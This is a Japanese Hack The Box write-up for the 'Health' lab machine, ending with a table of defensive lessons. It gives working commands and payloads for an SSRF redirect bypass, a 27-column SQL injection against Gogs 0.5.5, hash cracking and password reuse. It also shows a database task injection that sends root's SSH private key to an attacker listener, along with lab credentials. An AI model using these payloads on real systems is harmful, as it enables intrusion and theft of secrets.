Hack The BoxのWriteup(Health)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Health — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp ssh, 80/tcp http, 3000/tcp filtered
SSRF localhost フィルタ発見
127.0.0.1/localhost直指定は拒否
302リダイレクトでバイパス
自ホスト経由でfile_get_contents()誘導
Gogs 0.5.5 SQLi (27列UNION)
susanne のPBKDF2ハッシュ窃取
hashcat -m 10900
february15 クラック成功
susanne SSH
user.txt ✓
Laravel tasksテーブル直接INSERT
root cron に file:///root/.ssh/id_rsa を読ませる
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.52.56
nmap -sV -sC -p 22,80 10.129.52.56
RESULT
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp   open     http    Apache httpd 2.4.29 (Ubuntu)
3000/tcp filtered ppp
|_http-title: HTTP Monitoring Tool
ℹ️
3000/tcp が filtered(外部からファイアウォールで遮断)になっている点に注目。 後にこのポートで動く内部限定サービス(Gogs)へ、Webアプリ自体のSSRF機能経由でアクセスすることになる。

Webアプリの確認 & hosts登録

BASH
curl -sI http://10.129.52.56
echo "10.129.52.56 health.htb" | sudo tee -a /etc/hosts
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: XSRF-TOKEN=...; Set-Cookie: laravel_session=...
Content-Type: text/html; charset=UTF-8
ℹ️
laravel_session/XSRF-TOKEN Cookie から Laravel フレームワーク製と判明。 トップページのタイトルは “HTTP Monitoring Tool” — URLの死活監視 & Webhook通知サービス。
PHASE 2

SSRF localhost フィルタバイパス

Webhook設定フォームの確認

BASH
curl -s http://health.htb/ -o index.html
grep -oE '<(input|form)[^>]*>' index.html
RESULT
<form method="post" action="http://health.htb/webhook">
<input type="hidden" name="_token" value="...">
<input type="text" name="webhookUrl" placeholder="http://example.com/postreceive"/>
<input type="text" name="monitoredUrl" placeholder="http://example.com"/>
<input type="text" name="frequency" placeholder="*/5 * * * *"/>
<select name="onlyError">...</select>
<input type="submit" name="action" value="Create"/>
<input type="submit" name="action" value="Test"/>
ℹ️
フォームは POST /webhook に送信され、Laravel の CSRF 保護のため _token (隠しフィールド) が必須。action=Test を押すと monitoredUrl への HTTPチェックが即時実行され、結果が webhookUrlコールバックPOSTされる。

localhost 直接指定は拒否される

NOTE
monitoredUrl に http://localhost:3000/ や http://127.0.0.1:3000/ を指定すると
アプリ側でブロックされ Webhook が発火しない(localhost/127.0.0.1 文字列フィルタ)。

302リダイレクトサーバーでバイパス

PYTHON (health_redirect.py)
import http.server, urllib.parse, sys

class RedirectHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        qs = urllib.parse.urlparse(self.path).query
        target = urllib.parse.parse_qs(qs).get("url", [None])[0]
        if target:
            self.send_response(302)
            self.send_header("Location", target)
            self.end_headers()
        else:
            self.send_response(400); self.end_headers()

http.server.HTTPServer(("0.0.0.0", 19061), RedirectHandler).serve_forever()
BASH
python3 health_redirect.py &   # 自ホスト:19061 で302リダイレクトサーバーを起動
ℹ️
monitoredUrl=http://<kali>:19061/?url=http://localhost:3000/ のように攻撃者ホストを一度経由させ、そこから302リダイレクトで本当の localhost:3000 へ転送する。フィルタは monitoredUrl の文字列そのものだけを検査しており、 PHPの file_get_contents() がリダイレクト先を自動追跡することは考慮していない。

CSRFトークン付きでWebhook Testを送信 & コールバック捕捉

PYTHON
sess = requests.Session()
r = sess.get("http://health.htb/")
token = re.search(r'name="_token"\s+value="([^"]+)"', r.text).group(1)

fields = {
    "_token": token,
    "webhookUrl": "http://<kali>:19062/",
    "monitoredUrl": "http://<kali>:19061/?url=" + urllib.parse.quote("http://localhost:3000/", safe=""),
    "frequency": "* * * * *",
    "onlyError": "0",
    "action": "Test",
}
sess.post("http://health.htb/webhook", data=fields)
RESULT (捕捉サーバー側)
CAPTURED: {"webhookUrl":"http:\/\/<kali>:19062\/",
 "monitoredUrl":"http:\/\/<kali>:19061\/?url=http%3A%2F%2Flocalhost%3A3000%2F",
 "health":"up",
 "body":"<!DOCTYPE html>...<title>Gogs: Go Git Service</title>...
   Version: 0.5.5.1010 Beta ..."}
SSRFバイパス成功。ファイアウォールで外部遮断されている内部専用の Gogs 0.5.5.1010 Beta(Go言語製Gitホスティング)にアクセスできた。 このバージョンは既知のSQLインジェクションに脆弱。
PHASE 3

Gogs 0.5.5 SQLインジェクション — 資格情報の抽出

ローカル環境の複製とSQLi箇所の特定

BASH
# 自動化ツール(sqlmap)は直接使えないため、同一バージョンをローカルに構築して調査
wget https://github.com/gogs/gogs/releases/download/v0.11.91/linux_amd64.zip  # 0.5.5系相当ビルド
unzip linux_amd64.zip && cd gogs && ./gogs web
# ブラウザで localhost:3000/install を初期セットアップ

sqlmap -u "http://localhost:3000/api/v1/users/search?q=*" --dbs --batch --risk 3 --level 5
RESULT
Parameter: #1* (URI)
    Type: UNION query
    Title: Generic UNION query (random number) - 27 columns
🚨
/api/v1/users/search?q= パラメータが SQLite ベースの UNION SQLi に脆弱。 user テーブルは 27列(id, lower_name, name, full_name, email, passwd, …, salt, rands, …)で構成されており、UNION SELECT には 列数を完全一致させる必要がある。また API レスポンスの JSON に反映されるのは username フィールド(3列目の name カラムに対応)のみのため、 抽出したいデータはこの3列目に配置しなければならない。

27列・3列目にデータ抽出ペイロードを配置したUNIONクエリ構築

PYTHON
PAYLOAD_COL = (
    "CHAR(113,120,106,112,113)||COALESCE((name/**/||CHAR(112,97,115,115,119,100)||/**/passwd/**/||"
    "CHAR(112,97,115,115,119,100)||CHAR(115,97,108,116)||salt||CHAR(115,97,108,116)||"
    "CHAR(114,97,110,100,115)||rands||CHAR(114,97,110,100,115)),CHAR(32))||CHAR(113,113,120,98,113)"
)
# 27列: 1,2列目はダミー、3列目(name相当の位置)にPAYLOAD_COL、残り24列はダミー
cols = ["2833", "2833", PAYLOAD_COL] + ["2833"] * 24
sqli = "')/**/UNION/**/ALL/**/SELECT/**/" + ",".join(cols) + "/**/FROM/**/user--/**/KCpu"
# 空白文字(0x20)がフィルタされているため /**/ (SQLコメント) を空白代わりに使用
⚠️
qxjpq/qqxbq は抽出データの前後に付与するランダムな目印文字列で、 レスポンス中から正規表現 qxjpq(.+?)passwd([0-9a-f]+)passwdsalt(.+?)saltrands(.+?)randsqqxbqname/passwd/salt/rands の4値を一括抽出するための区切り。

SSRFリダイレクト経由でSQLiを実行しコールバックで結果を取得

BASH
# SQLi対象URLを構築 → リダイレクトサーバー経由のmonitoredUrlに二重URLエンコードで埋め込み
sqli_url = "http://localhost:3000/api/v1/users/search?q=" + urllib.parse.quote(sqli, safe="")
monitored_url = "http://<kali>:19061/?url=" + urllib.parse.quote(sqli_url, safe="")
# Phase2と同じ手順でWebhook Testを送信
RESULT (捕捉サーバー側)
CAPTURED: {..., "health":"up", "body":"{\"data\":[
  {\"username\":\"susanne\",\"avatar\":\"...\"},
  {\"username\":\"qxjpqsusannepasswd66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37passwdsaltsO3XIbeW14saltrandsm7483YfL9Krandsqqxbq\",
   \"avatar\":\"...\"}
],\"ok\":true}"}
SQLi成功。 抽出データ: name=susanne, passwd=66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37, salt=sO3XIbeW14, rands=m7483YfL9K

hashcat でハッシュをクラック

BASH
# Gogs のハッシュ方式は PBKDF2 + HMAC + SHA256。hashcat -m 10900 の期待形式に変換。
b64_passwd=$(echo -n 66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37 | xxd -r -p | base64)
b64_salt=$(echo -n sO3XIbeW14 | base64)
echo "sha256:10000:$b64_salt:$b64_passwd" > hash.txt

hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force --quiet
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt --show --force
RESULT
sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15
パスワードクラック成功: susanne:february15
PHASE 4

SSH ログイン & user.txt 取得

SSH パスワード再利用の確認

BASH
sshpass -p february15 ssh susanne@health.htb "id; cat ~/user.txt"
RESULT
uid=1000(susanne) gid=1000(susanne) groups=1000(susanne)
4fa6a858a992015e1721cec75322df09
user.txt — susanne@health
4fa6a858a992015e1721cec75322df09
Gogs 側で使い回されていたパスワードがそのまま OS の SSH アカウントでも有効だった (パスワード使い回しの典型例)。
PHASE 5

権限昇格の下調べ — Laravel アプリのソースコード & DB資格情報

HealthChecker.php の任意ファイル読取脆弱性

BASH
cat /var/www/html/app/Http/Controllers/HealthChecker.php
RESULT
class HealthChecker
{
    public static function check($webhookUrl, $monitoredUrl, $onlyError = false)
    {
        $json = [];
        $json['webhookUrl'] = $webhookUrl;
        $json['monitoredUrl'] = $monitoredUrl;

        $res = @file_get_contents($monitoredUrl, false);
        if ($res) {
            ...
            $json['body'] = $res;
        }
    }
}
🚨
$monitoredUrl は無検証で file_get_contents() に渡されており、 file:// スキームで任意のローカルファイルを読み取れる(SSRFに加えLFIも成立)。

DB資格情報の取得とタスクテーブルの発見

BASH
cat /var/www/html/.env
RESULT (抜粋)
DB_CONNECTION=mysql
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
BASH
mysql -u laravel -pMYsql_strongestpass@2014+ laravel --execute "show tables; desc tasks;"
RESULT
Tables_in_laravel: failed_jobs, migrations, password_resets,
  personal_access_tokens, tasks, users

desc tasks:
  id            char(36)      PRI
  webhookUrl    varchar(255)
  onlyError     tinyint(1)
  monitoredUrl  varchar(255)
  frequency     varchar(255)
  created_at / updated_at

root による cron 実行の確認

BASH
# pspy64s を転送して実行中プロセスを監視
scp pspy64s susanne@health.htb:/tmp
ssh susanne@health.htb "chmod +x /tmp/pspy64s && /tmp/pspy64s"
RESULT
CMD: UID=0  PID=... | /usr/sbin/CRON -f
CMD: UID=0  PID=... | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
🚨
root が毎分 php artisan schedule:run を実行している。 Laravel のスケジューラは tasks テーブルの内容をもとに HealthChecker::check() を呼び出す実装になっているため、tasks テーブルへ直接悪性レコードをINSERTすれば、 root権限で任意ファイルを読み取り & 外部へ送信させられる。
PHASE 6

tasks テーブル悪性 INSERT → root.txt

Webhookコールバック捕捉サーバーを起動

BASH
nc -lnvp 19053

root の SSH 秘密鍵を読み取る悪性タスクをDBへ直接INSERT

BASH
ssh susanne@health.htb \
  'mysql -u laravel -pMYsql_strongestpass@2014+ laravel --execute \
  "INSERT INTO tasks (id, monitoredUrl, onlyError, webhookUrl, frequency) VALUES \
  (UUID(), '"'"'file:///root/.ssh/id_rsa'"'"', 0, '"'"'http://<kali>:19053/'"'"', '"'"'* * * * *'"'"');"'
RESULT (最大90秒待機後、nc リスナー側)
listening on [any] 19053 ...
POST / HTTP/1.1
Content-Type: application/json

{"webhookUrl":"http:\/\/<kali>:19053\/","monitoredUrl":"file:\/\/\/root\/.ssh\/id_rsa",
 "health":"up","body":"-----BEGIN OPENSSH PRIVATE KEY-----\n...\n-----END OPENSSH PRIVATE KEY-----\n"}
root の SSH 秘密鍵を窃取成功。 file_get_contents("file:///root/.ssh/id_rsa") は root 権限で動くスケジューラ経由で実行されるため、rootにしか読めないファイルの内容が webhookUrl へそのまま外部送信される。

秘密鍵でSSHログイン & root.txt 取得

BASH
chmod 600 root_id_rsa
ssh -i root_id_rsa root@health.htb "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
90514aa846fb85acc9f8aef59e00d8b3
root.txt — root@health
90514aa846fb85acc9f8aef59e00d8b3
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — susanne@health
4fa6a858a992015e1721cec75322df09
root.txt — root@health
90514aa846fb85acc9f8aef59e00d8b3

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SSRF localhostフィルタバイパス HealthChecker (Monitored URL) 内部限定サービス(Gogs:3000)への到達 High 文字列フィルタは monitoredUrl 自体のみを検査、302リダイレクトの追跡を考慮していない
Gogs 0.5.5.1010 Beta SQLインジェクション /api/v1/users/search?q= (SQLite UNION-based) ユーザーのパスワードハッシュ・salt漏洩 Critical 27列固定のUNION SELECTでname列位置にデータ抽出ペイロードを配置しJSON経由で外部窃取
パスワード使い回し Gogs susanne ↔ OS susanne SSHログイン(user.txt) Medium hashcatでクラックしたGogsパスワードがそのままOSアカウントでも通用
任意ファイル読取 + rootタスクインジェクション HealthChecker::check() の file_get_contents() + tasksテーブル root権限のファイル読取・持ち出し Critical DB直結でtasksテーブルにfile:///root/.ssh/id_rsaを読ませる悪性レコードをINSERTしroot cronに実行させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22/80開放、3000filtered、”HTTP Monitoring Tool”検出
2SSRFバイパス302リダイレクトサーバー内部限定Gogs 0.5.5.1010 Betaへの到達
3SQLi27列UNION SELECT + hashcat -m10900susanne:february15
4エクスプロイトSSHパスワード再利用確認user.txt 取得
5権限調査ソースコード解析 + pspy64sroot cronによるLaravelスケジューラ実行を確認
6権限昇格tasksテーブル直接INSERTroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
SSRF対策が文字列フィルタのみでリダイレクト追跡を考慮していない URLホワイトリスト方式を採用し、file_get_contents等のリダイレクト追跡機能自体を無効化する(stream_context の follow_location=0)。DNS解決結果ベースでプライベートIPレンジも遮断する。
古い自作Gitホスティング(Gogs 0.5.5、既知のSQLi脆弱性あり)を内部でも利用 ファイアウォールで外部遮断していても内部から到達可能なら脆弱性は有効。定期的な脆弱性スキャンとバージョン更新を内部サービスにも適用する。
Webアプリのパスワードと OS アカウントのパスワードを使い回し サービスごとに個別のパスワード管理を徹底し、パスワードマネージャー/SSO導入を検討する。
root権限のcronジョブが、非特権ユーザーが書き込めるDBの内容を無検証で実行対象に使用 root権限で実行するジョブの入力元は最小権限のプロセス/DBユーザーに限定する。tasksテーブルへの書込み権限をアプリ専用DBユーザーに絞り、file://等の危険スキームをアプリ側でホワイトリスト外に弾く。
HackTheBox: Health | 完全攻略レポート